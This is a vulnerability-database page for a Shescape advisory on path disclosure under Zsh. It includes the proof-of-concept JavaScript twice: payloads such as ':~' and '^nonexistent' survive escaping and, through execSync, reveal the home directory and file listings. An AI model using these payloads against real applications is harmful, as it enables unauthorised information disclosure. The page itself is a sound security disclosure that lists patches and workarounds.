Vulnerability-Lookup

CVE-2026-73412 (GCVE-0-2026-73412)

Vulnerability from cvelistv5 – Published: 2026-08-12 19:38 – Updated: 2026-08-13 12:38

Title

Shescape: Path disclosure on Unix with Zsh

Summary

Shescape is a simple shell escape library for JavaScript. Prior to 2.1.14 and 3.0.1, this impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem. In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information. This issue is fixed in versions 2.1.14 and 3.0.1.

Severity

6.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-13 12:37 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CWE-155 - Improper Neutralization of Wildcards or Matching Symbols

Assigner

GitHub_M

References

7 references

URL	Tags
https://github.com/ericcornelissen/shescape/secur…	x_refsource_CONFIRM
https://github.com/ericcornelissen/shescape/pull/2649	x_refsource_MISC
https://github.com/ericcornelissen/shescape/pull/2651	x_refsource_MISC
https://github.com/ericcornelissen/shescape/commi…	x_refsource_MISC
https://github.com/ericcornelissen/shescape/commi…	x_refsource_MISC
https://github.com/ericcornelissen/shescape/relea…	x_refsource_MISC
https://github.com/ericcornelissen/shescape/relea…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
ericcornelissen	shescape	Affected: < 2.1.14 Affected: >= 3.0.0, < 3.0.1

Show details on NVD website

JSON

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GHSA-6V4M-FW66-8R4X

Vulnerability from github – Published: 2026-07-24 22:33 – Updated: 2026-08-12 19:38

Summary

Shescape: Path disclosure on Unix with Zsh

Details

Impact

This impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem.

In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.

Without option / with `MAGIC_EQUAL_SUBST`

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    shell: "zsh",
    // Or
    shell: true, // Only if the default shell is Zsh
};

// 2. Payload
const payload1 = ":~";
// Or
const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload1);
// Or
escapedPayload = shescape.escapeAll([payload1]);
// And (example)
const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);

// Or
escapedPayload = shescape.escape(payload2);
// Or
escapedPayload = shescape.escapeAll([payload2]);
// And (example)
const result2 = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log("", result1.toString().trim(), "\n", result2.toString().trim());
// Outputs ":" followed by the user's home directory on one line and "a="
// followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next.

With `EXTENDED_GLOB`

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    shell: "zsh",
    // Or
    shell: true, // Only if the default shell is Zsh
};

// And (example)
// `setopt EXTENDED_GLOB` in ~/.zshenv

// 2. Payload
let payload;

payload = "pa#ckage.json";
// Or
payload = "^package.json~package-lock.json";
// Or
payload = "^nonexistent";

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);

// And (example)
const result = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs files and directories in the current directory

Patches

This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.

If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.

No patches will be released for version of Shescape lower than v2.0.0.

Workarounds

Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the EXTENDED_GLOB option is disabled, 3) remove all instances of ^, #, and ~ from untrusted inputs.

For more information

Comment on Pull Request [#2651] for v2 and [#2649] for v3
Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)

Severity

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "shescape"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "shescape"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73412"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-155"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:33:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThis impacts users of Shescape on Unix systems that explicitly configure `shell` to Zsh, or `true` when the default shell is Zsh, using the `escape` and `escapeAll`. The Zsh options `EXTENDED_GLOB` and `MAGIC_EQUAL_SUBST` exacerbate the problem.\n\nIn certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.\n\n#### Without option / with `MAGIC_EQUAL_SUBST`\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    shell: \"zsh\",\n    // Or\n    shell: true, // Only if the default shell is Zsh\n};\n\n// 2. Payload\nconst payload1 = \":~\";\n// Or\nconst payload2 = \"a=~\"; // requires MAGIC_EQUAL_SUBST\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload1);\n// Or\nescapedPayload = shescape.escapeAll([payload1]);\n// And (example)\nconst result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);\n\n// Or\nescapedPayload = shescape.escape(payload2);\n// Or\nescapedPayload = shescape.escapeAll([payload2]);\n// And (example)\nconst result2 = cp.execSync(`echo ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(\"\", result1.toString().trim(), \"\\n\", result2.toString().trim());\n// Outputs \":\" followed by the user\u0027s home directory on one line and \"a=\"\n// followed by the user\u0027s home directory (under MAGIC_EQUAL_SUBST) on the next.\n```\n\n#### With `EXTENDED_GLOB`\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    shell: \"zsh\",\n    // Or\n    shell: true, // Only if the default shell is Zsh\n};\n\n// And (example)\n// `setopt EXTENDED_GLOB` in ~/.zshenv\n\n// 2. Payload\nlet payload;\n\npayload = \"pa#ckage.json\";\n// Or\npayload = \"^package.json~package-lock.json\";\n// Or\npayload = \"^nonexistent\";\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload);\n// Or\nescapedPayload = shescape.escapeAll([payload]);\n\n// And (example)\nconst result = cp.execSync(`echo ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(result.toString());\n// Outputs files and directories in the current directory\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the `EXTENDED_GLOB` option is disabled, 3) remove all instances of `^`, `#`, and `~` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)",
  "id": "GHSA-6v4m-fw66-8r4x",
  "modified": "2026-08-12T19:38:46Z",
  "published": "2026-07-24T22:33:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-6v4m-fw66-8r4x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/pull/2649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/pull/2651"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ericcornelissen/shescape"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Shescape: Path disclosure on Unix with Zsh"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

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